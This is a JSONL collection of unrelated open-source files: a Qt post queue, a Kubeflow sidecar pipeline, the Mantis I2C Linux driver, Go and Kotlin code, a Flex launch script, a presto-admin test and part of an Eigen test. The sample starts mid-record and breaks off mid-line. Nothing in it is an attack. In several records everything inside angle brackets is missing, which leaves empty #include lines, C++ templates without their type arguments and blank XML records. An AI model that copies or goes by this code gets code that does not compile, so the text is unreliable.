(!d->tryNext()){\n\t\t\t\temit errorOccured(code);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t\t}\n\t});\n}\n\nPost::~Post()\n{\n\tdelete d_ptr;\n}\n\nvoid Post::addProc(const Post::Proc *proc)\n{\n\tQ_D(Post);\n\td->addProc(proc);\n}\n\nconst Post::Proc *Post::getProc(QString code)\n{\n\tQ_D(Post);\n\treturn d->getProc(code);\n}\n\nbool Post::canPost(QString code)\n{\n\treturn getProc(code) != nullptr;\n}\n\nvoid Post::postComment(const Record *r, const Comment *c)\n{\n\tTask task;\n\ttask.code = r->access;\n\ttask.comment = *c;\n\ttask.comment.time -= r->delay;\n\ttask.target = r;\n\ttask.processer = getProc(task.code);\n\tenqueue(task);\n}\n\nvoid Post::forward()\n{\n\tQ_D(Post);\n\td->forward();\n}\n\nvoid Post::dequeue()\n{\n\tQ_D(Post);\n\td->dequeue();\n}\n\nbool Post::enqueue(const Post::Task &task)\n{\n\tQ_D(Post);\n\treturn d->enqueue(task);\n}\n\nPost::Task *Post::getHead()\n{\n\tQ_D(Post);\n\treturn d->getHead();\n}\n"} +{"text": "# Copyright 2019 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport kfp.dsl as dsl\nfrom kubernetes import client as k8s_client\n\n\n@dsl.pipeline(name='Sidecar', description='A pipeline with sidecars.')\ndef sidecar_pipeline():\n\n echo = dsl.Sidecar(\n name='echo',\n image='hashicorp/http-echo',\n args=['-text=\"hello world\"'])\n\n op1 = dsl.ContainerOp(\n name='download',\n image='busybox',\n command=['sh', '-c'],\n arguments=['sleep 10; wget localhost:5678 -O /tmp/results.txt'],\n sidecars=[echo],\n file_outputs={'downloaded': '/tmp/results.txt'})\n\n op2 = dsl.ContainerOp(\n name='echo',\n image='library/bash',\n command=['sh', '-c'],\n arguments=['echo %s' % op1.output])\n"} +{"text": "---\r\ntitle: 介绍 rsync 数据同步工具\r\n---\r\n\r\n[到 B 站观看视频](https://www.bilibili.com/video/av96725164)\r\n\r\n- \r\n\r\n### 1. 最常用的参数\r\n\r\n rsync -arv --progress --delete ~/happycasts/episodes/ peter@linode:~/media/assets/episodes/ --dry-run\r\n\r\n### 2. 同步 happycasts 视频用的脚本\r\n\r\n- \r\n"} +{"text": "/*\nBullet Continuous Collision Detection and Physics Library\nCopyright (c) 2003-2014 Erwin Coumans http://bulletphysics.org\n\nThis software is provided 'as-is', without any express or implied warranty.\nIn no event will the authors be held liable for any damages arising from the use of this software.\nPermission is granted to anyone to use this software for any purpose, \nincluding commercial applications, and to alter it and redistribute it freely, \nsubject to the following restrictions:\n\n1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required.\n2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.\n3. This notice may not be removed or altered from any source distribution.\n*/\n\n\n#ifndef GJK_COLLISION_DESCRIPTION_H\n#define GJK_COLLISION_DESCRIPTION_H\n\n#include \"LinearMath/btVector3.h\"\n\nstruct btGjkCollisionDescription\n{\n btVector3\tm_firstDir;\n int\t\t\tm_maxGjkIterations;\n btScalar\tm_maximumDistanceSquared;\n btScalar\tm_gjkRelError2;\n btGjkCollisionDescription()\n :m_firstDir(0,1,0),\n m_maxGjkIterations(1000),\n m_maximumDistanceSquared(1e30f),\n m_gjkRelError2(1.0e-6)\n {\n }\n virtual ~btGjkCollisionDescription()\n {\n }\n};\n\n#endif //GJK_COLLISION_DESCRIPTION_H\n\n"} +{"text": "package dataworks_public\n\n//Licensed under the Apache License, Version 2.0 (the \"License\");\n//you may not use this file except in compliance with the License.\n//You may obtain a copy of the License at\n//\n//http://www.apache.org/licenses/LICENSE-2.0\n//\n//Unless required by applicable law or agreed to in writing, software\n//distributed under the License is distributed on an \"AS IS\" BASIS,\n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n//See the License for the specific language governing permissions and\n//limitations under the License.\n//\n// Code generated by Alibaba Cloud SDK Code Generator.\n// Changes may cause incorrect behavior and will be lost if the code is regenerated.\n\n// ColumnListInGetMetaTableColumn is a nested struct in dataworks_public response\ntype ColumnListInGetMetaTableColumn struct {\n\tColumnListItem []ColumnListItem `json:\"ColumnList\" xml:\"ColumnList\"`\n}\n"} +{"text": "package misk.hibernate\n\nimport okio.ByteString.Companion.decodeHex\nimport org.assertj.core.api.Assertions.assertThat\nimport org.junit.jupiter.api.Test\n\nclass VitessHashTest {\n @Test\n fun hashesLikeVitess() {\n assertThat(VitessHash.toKeyspaceId(1)).isEqualTo(\"166b40b44aba4bd6\".decodeHex())\n assertThat(VitessHash.toKeyspaceId(2)).isEqualTo(\"06e7ea22ce92708f\".decodeHex())\n assertThat(VitessHash.toKeyspaceId(3)).isEqualTo(\"4eb190c9a2fa169c\".decodeHex())\n assertThat(VitessHash.toKeyspaceId(4)).isEqualTo(\"d2fd8867d50d2dfe\".decodeHex())\n assertThat(VitessHash.toKeyspaceId(5)).isEqualTo(\"70bb023c810ca87a\".decodeHex())\n assertThat(VitessHash.toKeyspaceId(6)).isEqualTo(\"f098480ac4c4be71\".decodeHex())\n }\n\n @Test\n fun unhashesLikeVitess() {\n assertThat(VitessHash.fromKeyspaceId(\"166b40b44aba4bd6\".decodeHex())).isEqualTo(1)\n assertThat(VitessHash.fromKeyspaceId(\"06e7ea22ce92708f\".decodeHex())).isEqualTo(2)\n assertThat(VitessHash.fromKeyspaceId(\"4eb190c9a2fa169c\".decodeHex())).isEqualTo(3)\n assertThat(VitessHash.fromKeyspaceId(\"d2fd8867d50d2dfe\".decodeHex())).isEqualTo(4)\n assertThat(VitessHash.fromKeyspaceId(\"70bb023c810ca87a\".decodeHex())).isEqualTo(5)\n assertThat(VitessHash.fromKeyspaceId(\"f098480ac4c4be71\".decodeHex())).isEqualTo(6)\n }\n\n @Test\n fun shardRange() {\n // 80-90\n assertThat(\"81abcdef\".decodeHex()).isGreaterThan(\"80\".decodeHex())\n assertThat(\"81abcdef\".decodeHex()).isLessThan(\"90\".decodeHex())\n\n // 8080-90\n assertThat(\"81abcdef\".decodeHex()).isGreaterThan(\"8080\".decodeHex())\n assertThat(\"81abcdef\".decodeHex()).isLessThan(\"90\".decodeHex())\n }\n}\n"} +{"text": "/*\n\tMantis PCI bridge driver\n\n\tCopyright (C) Manu Abraham (abraham.manu@gmail.com)\n\n\tThis program is free software; you can redistribute it and/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation; either version 2 of the License, or\n\t(at your option) any later version.\n\n\tThis program is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with this program; if not, write to the Free Software\n\tFoundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n*/\n\n#include \n#include \n#include \n#include \n\n#include \"dmxdev.h\"\n#include \"dvbdev.h\"\n#include \"dvb_demux.h\"\n#include \"dvb_frontend.h\"\n#include \"dvb_net.h\"\n\n#include \"mantis_common.h\"\n#include \"mantis_reg.h\"\n#include \"mantis_i2c.h\"\n\n#define TRIALS\t\t\t10000\n\nstatic int mantis_i2c_read(struct mantis_pci *mantis, const struct i2c_msg *msg)\n{\n\tu32 rxd, i, stat, trials;\n\n\tdprintk(MANTIS_INFO, 0, \" %s: Address=[0x%02x] [ \",\n\t\t__func__, msg->addr);\n\n\tfor (i = 0; i < msg->len; i++) {\n\t\trxd = (msg->addr << 25) | (1 << 24)\n\t\t\t\t\t| MANTIS_I2C_RATE_3\n\t\t\t\t\t| MANTIS_I2C_STOP\n\t\t\t\t\t| MANTIS_I2C_PGMODE;\n\n\t\tif (i == (msg->len - 1))\n\t\t\trxd &= ~MANTIS_I2C_STOP;\n\n\t\tmmwrite(MANTIS_INT_I2CDONE, MANTIS_INT_STAT);\n\t\tmmwrite(rxd, MANTIS_I2CDATA_CTL);\n\n\t\t/* wait for xfer completion */\n\t\tfor (trials = 0; trials < TRIALS; trials++) {\n\t\t\tstat = mmread(MANTIS_INT_STAT);\n\t\t\tif (stat & MANTIS_INT_I2CDONE)\n\t\t\t\tbreak;\n\t\t}\n\n\t\tdprintk(MANTIS_TMG, 0, \"I2CDONE: trials=%d\\n\", trials);\n\n\t\t/* wait for xfer completion */\n\t\tfor (trials = 0; trials < TRIALS; trials++) {\n\t\t\tstat = mmread(MANTIS_INT_STAT);\n\t\t\tif (stat & MANTIS_INT_I2CRACK)\n\t\t\t\tbreak;\n\t\t}\n\n\t\tdprintk(MANTIS_TMG, 0, \"I2CRACK: trials=%d\\n\", trials);\n\n\t\trxd = mmread(MANTIS_I2CDATA_CTL);\n\t\tmsg->buf[i] = (u8)((rxd >> 8) & 0xFF);\n\t\tdprintk(MANTIS_INFO, 0, \"%02x \", msg->buf[i]);\n\t}\n\tdprintk(MANTIS_INFO, 0, \"]\\n\");\n\n\treturn 0;\n}\n\nstatic int mantis_i2c_write(struct mantis_pci *mantis, const struct i2c_msg *msg)\n{\n\tint i;\n\tu32 txd = 0, stat, trials;\n\n\tdprintk(MANTIS_INFO, 0, \" %s: Address=[0x%02x] [ \",\n\t\t__func__, msg->addr);\n\n\tfor (i = 0; i < msg->len; i++) {\n\t\tdprintk(MANTIS_INFO, 0, \"%02x \", msg->buf[i]);\n\t\ttxd = (msg->addr << 25) | (msg->buf[i] << 8)\n\t\t\t\t\t| MANTIS_I2C_RATE_3\n\t\t\t\t\t| MANTIS_I2C_STOP\n\t\t\t\t\t| MANTIS_I2C_PGMODE;\n\n\t\tif (i == (msg->len - 1))\n\t\t\ttxd &= ~MANTIS_I2C_STOP;\n\n\t\tmmwrite(MANTIS_INT_I2CDONE, MANTIS_INT_STAT);\n\t\tmmwrite(txd, MANTIS_I2CDATA_CTL);\n\n\t\t/* wait for xfer completion */\n\t\tfor (trials = 0; trials < TRIALS; trials++) {\n\t\t\tstat = mmread(MANTIS_INT_STAT);\n\t\t\tif (stat & MANTIS_INT_I2CDONE)\n\t\t\t\tbreak;\n\t\t}\n\n\t\tdprintk(MANTIS_TMG, 0, \"I2CDONE: trials=%d\\n\", trials);\n\n\t\t/* wait for xfer completion */\n\t\tfor (trials = 0; trials < TRIALS; trials++) {\n\t\t\tstat = mmread(MANTIS_INT_STAT);\n\t\t\tif (stat & MANTIS_INT_I2CRACK)\n\t\t\t\tbreak;\n\t\t}\n\n\t\tdprintk(MANTIS_TMG, 0, \"I2CRACK: trials=%d\\n\", trials);\n\t}\n\tdprintk(MANTIS_INFO, 0, \"]\\n\");\n\n\treturn 0;\n}\n\nstatic int mantis_i2c_xfer(struct i2c_adapter *adapter, struct i2c_msg *msgs, int num)\n{\n\tint ret = 0, i = 0, trials;\n\tu32 stat, data, txd;\n\tstruct mantis_pci *mantis;\n\tstruct mantis_hwconfig *config;\n\n\tmantis = i2c_get_adapdata(adapter);\n\tBUG_ON(!mantis);\n\tconfig = mantis->hwconfig;\n\tBUG_ON(!config);\n\n\tdprintk(MANTIS_DEBUG, 1, \"Messages:%d\", num);\n\tmutex_lock(&mantis->i2c_lock);\n\n\twhile (i < num) {\n\t\t/* Byte MODE */\n\t\tif ((config->i2c_mode & MANTIS_BYTE_MODE) &&\n\t\t ((i + 1) < num)\t\t\t&&\n\t\t (msgs[i].len < 2)\t\t\t&&\n\t\t (msgs[i + 1].len < 2)\t\t&&\n\t\t (msgs[i + 1].flags & I2C_M_RD)) {\n\n\t\t\tdprintk(MANTIS_DEBUG, 0, \" Byte MODE:\\n\");\n\n\t\t\t/* Read operation */\n\t\t\ttxd = msgs[i].addr << 25 | (0x1 << 24)\n\t\t\t\t\t\t | (msgs[i].buf[0] << 16)\n\t\t\t\t\t\t | MANTIS_I2C_RATE_3;\n\n\t\t\tmmwrite(txd, MANTIS_I2CDATA_CTL);\n\t\t\t/* wait for xfer completion */\n\t\t\tfor (trials = 0; trials < TRIALS; trials++) {\n\t\t\t\tstat = mmread(MANTIS_INT_STAT);\n\t\t\t\tif (stat & MANTIS_INT_I2CDONE)\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\t/* check for xfer completion */\n\t\t\tif (stat & MANTIS_INT_I2CDONE) {\n\t\t\t\t/* check xfer was acknowledged */\n\t\t\t\tif (stat & MANTIS_INT_I2CRACK) {\n\t\t\t\t\tdata = mmread(MANTIS_I2CDATA_CTL);\n\t\t\t\t\tmsgs[i + 1].buf[0] = (data >> 8) & 0xff;\n\t\t\t\t\tdprintk(MANTIS_DEBUG, 0, \" Byte <%d> RXD=0x%02x [%02x]\\n\", 0x0, data, msgs[i + 1].buf[0]);\n\t\t\t\t} else {\n\t\t\t\t\t/* I/O error */\n\t\t\t\t\tdprintk(MANTIS_ERROR, 1, \" I/O error, LINE:%d\", __LINE__);\n\t\t\t\t\tret = -EIO;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t/* I/O error */\n\t\t\t\tdprintk(MANTIS_ERROR, 1, \" I/O error, LINE:%d\", __LINE__);\n\t\t\t\tret = -EIO;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\ti += 2; /* Write/Read operation in one go */\n\t\t}\n\n\t\tif (i < num) {\n\t\t\tif (msgs[i].flags & I2C_M_RD)\n\t\t\t\tret = mantis_i2c_read(mantis, &msgs[i]);\n\t\t\telse\n\t\t\t\tret = mantis_i2c_write(mantis, &msgs[i]);\n\n\t\t\ti++;\n\t\t\tif (ret < 0)\n\t\t\t\tgoto bail_out;\n\t\t}\n\n\t}\n\n\tmutex_unlock(&mantis->i2c_lock);\n\n\treturn num;\n\nbail_out:\n\tmutex_unlock(&mantis->i2c_lock);\n\treturn ret;\n}\n\nstatic u32 mantis_i2c_func(struct i2c_adapter *adapter)\n{\n\treturn I2C_FUNC_SMBUS_EMUL;\n}\n\nstatic struct i2c_algorithm mantis_algo = {\n\t.master_xfer\t\t= mantis_i2c_xfer,\n\t.functionality\t\t= mantis_i2c_func,\n};\n\nint __devinit mantis_i2c_init(struct mantis_pci *mantis)\n{\n\tu32 intstat, intmask;\n\tstruct i2c_adapter *i2c_adapter = &mantis->adapter;\n\tstruct pci_dev *pdev\t\t= mantis->pdev;\n\n\tinit_waitqueue_head(&mantis->i2c_wq);\n\tmutex_init(&mantis->i2c_lock);\n\tstrncpy(i2c_adapter->name, \"Mantis I2C\", sizeof(i2c_adapter->name));\n\ti2c_set_adapdata(i2c_adapter, mantis);\n\n\ti2c_adapter->owner\t= THIS_MODULE;\n\ti2c_adapter->algo\t= &mantis_algo;\n\ti2c_adapter->algo_data\t= NULL;\n\ti2c_adapter->timeout\t= 500;\n\ti2c_adapter->retries\t= 3;\n\ti2c_adapter->dev.parent\t= &pdev->dev;\n\n\tmantis->i2c_rc\t\t= i2c_add_adapter(i2c_adapter);\n\tif (mantis->i2c_rc < 0)\n\t\treturn mantis->i2c_rc;\n\n\tdprintk(MANTIS_DEBUG, 1, \"Initializing I2C ..\");\n\n\tintstat = mmread(MANTIS_INT_STAT);\n\tintmask = mmread(MANTIS_INT_MASK);\n\tmmwrite(intstat, MANTIS_INT_STAT);\n\tdprintk(MANTIS_DEBUG, 1, \"Disabling I2C interrupt\");\n\tintmask = mmread(MANTIS_INT_MASK);\n\tmmwrite((intmask & ~MANTIS_INT_I2CDONE), MANTIS_INT_MASK);\n\n\treturn 0;\n}\nEXPORT_SYMBOL_GPL(mantis_i2c_init);\n\nint mantis_i2c_exit(struct mantis_pci *mantis)\n{\n\tu32 intmask;\n\n\tdprintk(MANTIS_DEBUG, 1, \"Disabling I2C interrupt\");\n\tintmask = mmread(MANTIS_INT_MASK);\n\tmmwrite((intmask & ~MANTIS_INT_I2CDONE), MANTIS_INT_MASK);\n\n\tdprintk(MANTIS_DEBUG, 1, \"Removing I2C adapter\");\n\treturn i2c_del_adapter(&mantis->adapter);\n}\nEXPORT_SYMBOL_GPL(mantis_i2c_exit);\n"} +{"text": "#!/bin/sh\n\n################################################################################\n##\n## ADOBE SYSTEMS INCORPORATED\n## Copyright 2007 Adobe Systems Incorporated\n## All Rights Reserved.\n##\n## NOTICE: Adobe permits you to use, modify, and distribute this file\n## in accordance with the terms of the license agreement accompanying it.\n##\n################################################################################\n\n#\n# mxmlc launch script for unix. On windows, mxmlc.exe is used and\n# java settings are managed in jvm.config in this directory.\n#\n\ncase `uname` in\n\t\tCYGWIN*)\n\t\t\tOS=\"Windows\"\n\t\t;;\n\t\t*)\n\t\t\tOS=Unix\nesac\n\nD32=''\n\nif [ $OS = \"Windows\" ]; then\n\t# set FLEX_HOME relative to mxmlc if not set\n\ttest \"$FLEX_HOME\" = \"\" && {\n\tFLEX_HOME=`dirname $0`/..\n \tFLEX_HOME=`cygpath -m $FLEX_HOME`\n\t}\n\nelif [ $OS = \"Unix\" ]; then\n\n\t# set FLEX_HOME relative to mxmlc if not set\n\ttest \"$FLEX_HOME\" = \"\" && {\n\tFLEX_HOME=`dirname \"$0\"`/..\n\t}\n\t\n\tcheck64=\"`java -version 2>&1 | grep -i 64-Bit`\"\n\tisOSX=\"`uname | grep -i Darwin`\"\n\t\n\tif [ \"$isOSX\" != \"\" -a \"$HOSTTYPE\" = \"x86_64\" -a \"$check64\" != \"\" ]; then\n\t\tD32='-d32'\n\tfi\nfi\n\n# don't use $FLEX_HOME in this variable because it may contain spaces,\n# instead put it on the java args directly, with double-quotes around it\nVMARGS=\"-Xmx384m -Dsun.io.useCanonCaches=false \"\n\njava $VMARGS $D32 $SETUP_SH_VMARGS -jar \"$FLEX_HOME/lib/mxmlc.jar\" +flexlib=\"$FLEX_HOME/frameworks\" \"$@\"\n"} +{"text": "\n * $toolresultsService = new Google_Service_ToolResults(...);\n * $projects = $toolresultsService->projects;\n * \n */\nclass Google_Service_ToolResults_Resource_Projects extends Google_Service_Resource\n{\n /**\n * Gets the Tool Results settings for a project.\n *\n * May return any of the following canonical error codes:\n *\n * - PERMISSION_DENIED - if the user is not authorized to read from project\n * (projects.getSettings)\n *\n * @param string $projectId A Project id.\n *\n * Required.\n * @param array $optParams Optional parameters.\n * @return Google_Service_ToolResults_ProjectSettings\n */\n public function getSettings($projectId, $optParams = array())\n {\n $params = array('projectId' => $projectId);\n $params = array_merge($params, $optParams);\n return $this->call('getSettings', array($params), \"Google_Service_ToolResults_ProjectSettings\");\n }\n /**\n * Creates resources for settings which have not yet been set.\n *\n * Currently, this creates a single resource: a Google Cloud Storage bucket, to\n * be used as the default bucket for this project. The bucket is created in an\n * FTL-own storage project. Except for in rare cases, calling this method in\n * parallel from multiple clients will only create a single bucket. In order to\n * avoid unnecessary storage charges, the bucket is configured to automatically\n * delete objects older than 90 days.\n *\n * The bucket is created with the following permissions: - Owner access for\n * owners of central storage project (FTL-owned) - Writer access for\n * owners/editors of customer project - Reader access for viewers of customer\n * project The default ACL on objects created in the bucket is: - Owner access\n * for owners of central storage project - Reader access for\n * owners/editors/viewers of customer project See Google Cloud Storage\n * documentation for more details.\n *\n * If there is already a default bucket set and the project can access the\n * bucket, this call does nothing. However, if the project doesn't have the\n * permission to access the bucket or the bucket is deleted, a new bucket will\n * be created.\n *\n * May return any canonical error codes, including the following:\n *\n * - PERMISSION_DENIED - if the user is not authorized to write to project - Any\n * error code raised by Google Cloud Storage (projects.initializeSettings)\n *\n * @param string $projectId A Project id.\n *\n * Required.\n * @param array $optParams Optional parameters.\n * @return Google_Service_ToolResults_ProjectSettings\n */\n public function initializeSettings($projectId, $optParams = array())\n {\n $params = array('projectId' => $projectId);\n $params = array_merge($params, $optParams);\n return $this->call('initializeSettings', array($params), \"Google_Service_ToolResults_ProjectSettings\");\n }\n}\n"} +{"text": "\r\n\r\n \r\n \r\n \r\n \r\n"} +{"text": "---\n# Implement your Pre Workload deployment tasks here\n\n\n# Leave this as the last task in the playbook.\n- name: pre_workload tasks complete\n debug:\n msg: \"Pre-Workload tasks completed successfully.\"\n when: not silent|bool\n"} +{"text": "This is the file COPYING.modifiedLGPL, it applies to several units in the\nLazarus sources distributed by members of the Lazarus Development Team.\nAll files contains headers showing the appropriate license. See there if this\nmodification can be applied.\n\nThese files are distributed under the Library GNU General Public License\n(see the file COPYING.LGPL) with the following modification:\n\nAs a special exception, the copyright holders of this library give you\npermission to link this library with independent modules to produce an\nexecutable, regardless of the license terms of these independent modules,\nand to copy and distribute the resulting executable under terms of your choice,\nprovided that you also meet, for each linked independent module, the terms\nand conditions of the license of that module. An independent module is a\nmodule which is not derived from or based on this library. If you modify this\nlibrary, you may extend this exception to your version of the library, but\nyou are not obligated to do so. If you do not wish to do so, delete this\nexception statement from your version.\n\n\nIf you didn't receive a copy of the file COPYING.LGPL, contact:\n Free Software Foundation, Inc.,\n 675 Mass Ave\n Cambridge, MA 02139\n USA\n\n"} +{"text": ""} +{"text": "package dhcp4client\n\nimport (\n\t\"net\"\n\t\"time\"\n)\n\ntype inetSock struct {\n\t*net.UDPConn\n\n\tladdr net.UDPAddr\n\traddr net.UDPAddr\n}\n\nfunc NewInetSock(options ...func(*inetSock) error) (*inetSock, error) {\n\tc := &inetSock{\n\t\tladdr: net.UDPAddr{IP: net.IPv4(0, 0, 0, 0), Port: 68},\n\t\traddr: net.UDPAddr{IP: net.IPv4bcast, Port: 67},\n\t}\n\n\terr := c.setOption(options...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tconn, err := net.ListenUDP(\"udp4\", &c.laddr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tc.UDPConn = conn\n\treturn c, err\n}\n\nfunc (c *inetSock) setOption(options ...func(*inetSock) error) error {\n\tfor _, opt := range options {\n\t\tif err := opt(c); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc SetLocalAddr(l net.UDPAddr) func(*inetSock) error {\n\treturn func(c *inetSock) error {\n\t\tc.laddr = l\n\t\treturn nil\n\t}\n}\n\nfunc SetRemoteAddr(r net.UDPAddr) func(*inetSock) error {\n\treturn func(c *inetSock) error {\n\t\tc.raddr = r\n\t\treturn nil\n\t}\n}\n\nfunc (c *inetSock) Write(packet []byte) error {\n\t_, err := c.WriteToUDP(packet, &c.raddr)\n\treturn err\n}\n\nfunc (c *inetSock) ReadFrom() ([]byte, net.IP, error) {\n\treadBuffer := make([]byte, MaxDHCPLen)\n\tn, source, err := c.ReadFromUDP(readBuffer)\n\tif source != nil {\n\t\treturn readBuffer[:n], source.IP, err\n\t} else {\n\t\treturn readBuffer[:n], net.IP{}, err\n\t}\n}\n\nfunc (c *inetSock) SetReadTimeout(t time.Duration) error {\n\treturn c.SetReadDeadline(time.Now().Add(t))\n}\n"} +{"text": "strict digraph \"LazyBidirectionalCollection - Type Hierarchy - SwiftDoc.org\" {\n pad=\"0.1,0.8\"\n node [shape=box, style=\"filled,rounded\", color=\"#999999\", fillcolor=\"#999999\", fontcolor=white, fontname=Helvetica, fontnames=\"Helvetica,sansserif\", fontsize=12, margin=\"0.07,0.05\", height=\"0.3\"]\n edge [color=\"#cccccc\"]\n \"BidirectionalCollection\" [URL=\"/protocol/BidirectionalCollection/hierarchy/\"]\n \"BidirectionalIndexable\" [URL=\"/protocol/BidirectionalIndexable/hierarchy/\"]\n \"Collection\" [URL=\"/protocol/Collection/hierarchy/\"]\n \"Indexable\" [URL=\"/protocol/Indexable/hierarchy/\"]\n \"IndexableBase\" [URL=\"/protocol/IndexableBase/hierarchy/\"]\n \"LazyBidirectionalCollection\" [URL=\"/type/LazyBidirectionalCollection/\", style=\"filled\", fillcolor=\"#ee543d\", color=\"#ee543d\"]\n \"LazyCollectionProtocol\" [URL=\"/protocol/LazyCollectionProtocol/hierarchy/\"]\n \"LazySequenceProtocol\" [URL=\"/protocol/LazySequenceProtocol/hierarchy/\"]\n \"Sequence\" [URL=\"/protocol/Sequence/hierarchy/\"] \"LazyCollectionProtocol\" -> \"LazyBidirectionalCollection\"\n \"BidirectionalCollection\" -> \"LazyBidirectionalCollection\"\n \"Collection\" -> \"LazyCollectionProtocol\"\n \"LazySequenceProtocol\" -> \"LazyCollectionProtocol\"\n \"Indexable\" -> \"Collection\"\n \"Sequence\" -> \"Collection\"\n \"IndexableBase\" -> \"Indexable\"\n \"Sequence\" -> \"LazySequenceProtocol\"\n \"BidirectionalIndexable\" -> \"BidirectionalCollection\"\n \"Collection\" -> \"BidirectionalCollection\"\n \"Indexable\" -> \"BidirectionalIndexable\"\n \"IndexableBase\" -> \"Indexable\"\n \"Indexable\" -> \"Collection\"\n \"Sequence\" -> \"Collection\"\n \"IndexableBase\" -> \"Indexable\"\n subgraph Types {\n rank = max; \"LazyBidirectionalCollection\";\n }\n}"} +{"text": "String type based on Bigarray, for use in I/O and C-bindings.\n"} +{"text": "# -*- coding: utf-8 -*-\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport logging\nimport os\nimport tempfile\nfrom unittest import TestCase\n\nfrom prestoadmin.util import constants\nfrom prestoadmin.util.application import Application\nfrom prestoadmin.util.constants import LOG_DIR_ENV_VARIABLE\nfrom prestoadmin.util.local_config_util import get_log_directory\n\nEXECUTABLE_NAME = 'foo.py'\nAPPLICATION_NAME = 'foo'\n\n\nclass ApplicationTest(TestCase):\n def setUp(self):\n # put log files in a temporary dir\n self.__old_prestoadmin_log = get_log_directory()\n self.__temporary_dir_path = tempfile.mkdtemp(prefix='app-int-test-')\n os.environ[LOG_DIR_ENV_VARIABLE] = self.__temporary_dir_path\n\n # monkey patch in a fake logging config file\n self.__old_log_dirs = list(constants.LOGGING_CONFIG_FILE_DIRECTORIES)\n constants.LOGGING_CONFIG_FILE_DIRECTORIES.append(\n os.path.join(os.path.dirname(__file__), 'data')\n )\n\n # basicConfig is a noop if there are already handlers\n # present on the root logger, remove them all here\n self.__old_log_handlers = []\n for handler in logging.root.handlers:\n self.__old_log_handlers.append(handler)\n logging.root.removeHandler(handler)\n\n def tearDown(self):\n constants.LOGGING_CONFIG_FILE_DIRECTORIES = self.__old_log_dirs\n\n # restore the log location\n if self.__old_prestoadmin_log:\n os.environ[LOG_DIR_ENV_VARIABLE] = self.__old_prestoadmin_log\n else:\n os.environ.pop(LOG_DIR_ENV_VARIABLE)\n\n # clean up the temporary directory\n os.system('rm -rf ' + self.__temporary_dir_path)\n\n # restore the old log handlers\n for handler in logging.root.handlers:\n logging.root.removeHandler(handler)\n for handler in self.__old_log_handlers:\n logging.root.addHandler(handler)\n\n def test_log_file_is_created(self):\n with Application(APPLICATION_NAME):\n pass\n\n log_file_path = os.path.join(\n get_log_directory(),\n APPLICATION_NAME + '.log'\n )\n self.assertTrue(\n os.path.exists(log_file_path),\n 'Expected log file does not exist'\n )\n self.assertTrue(\n os.path.getsize(log_file_path) > 0,\n 'Log file is empty'\n )\n"} +{"text": "// This file is part of Eigen, a lightweight C++ template library\n// for linear algebra.\n//\n// Copyright (C) 2008-2009 Gael Guennebaud \n//\n// This Source Code Form is subject to the terms of the Mozilla\n// Public License v. 2.0. If a copy of the MPL was not distributed\n// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n#include \"main.h\"\n\ntemplate\nint get_random_size()\n{\n const int factor = NumTraits::ReadCost;\n const int max_test_size = EIGEN_TEST_MAX_SIZE>2*factor ? EIGEN_TEST_MAX_SIZE/factor : EIGEN_TEST_MAX_SIZE;\n return internal::random(1,max_test_size);\n}\n\ntemplate\nvoid trmm(int rows=get_random_size(),\n int cols=get_random_size(),\n int otherCols = OtherCols==Dynamic?get_random_size():OtherCols)\n{\n typedef Matrix TriMatrix;\n typedef Matrix OnTheRight;\n typedef Matrix OnTheLeft;\n \n typedef Matrix ResXS;\n typedef Matrix ResSX;\n\n TriMatrix mat(rows,cols), tri(rows,cols), triTr(cols,rows);\n \n OnTheRight ge_right(cols,otherCols);\n OnTheLeft ge_left(otherCols,rows);\n ResSX ge_sx, ge_sx_save;\n ResXS ge_xs, ge_xs_save;\n\n Scalar s1 = internal::random(),\n s2 = internal::random();\n\n mat.setRandom();\n tri = mat.template triangularView();\n triTr = mat.transpose().template triangularView();\n ge_right.setRandom();\n ge_left.setRandom();\n\n VERIFY_IS_APPROX( ge_xs = mat.template triangularView() * ge_right, tri * ge_right);\n VERIFY_IS_APPROX( ge_sx = ge_left * mat.template triangularView(), ge_left * tri);\n \n VERIFY_IS_APPROX( ge_xs.noalias() = mat.template triangularView() * ge_right, tri * ge_right);\n VERIFY_IS_APPROX( ge_sx.noalias() = ge_left * mat.template triangularView(), ge_left * tri);\n\n VERIFY_IS_APPROX( ge_xs.noalias() = (s1*mat.adjoint()).template triangularView() * (s2*ge_left.transpose()), s1*triTr.conjugate() * (s2*ge_left.transpose()));\n VERIFY_IS_APPROX( ge_sx.noalias() = ge_right.transpose() * mat.adjoint().template triangularView(), ge_right.transpose() * triTr.conjugate());\n \n VERIFY_IS_APPROX( ge_xs.noalias() = (s1*mat.adjoint()).template triangularView() * (s2*ge_left.adjoint()), 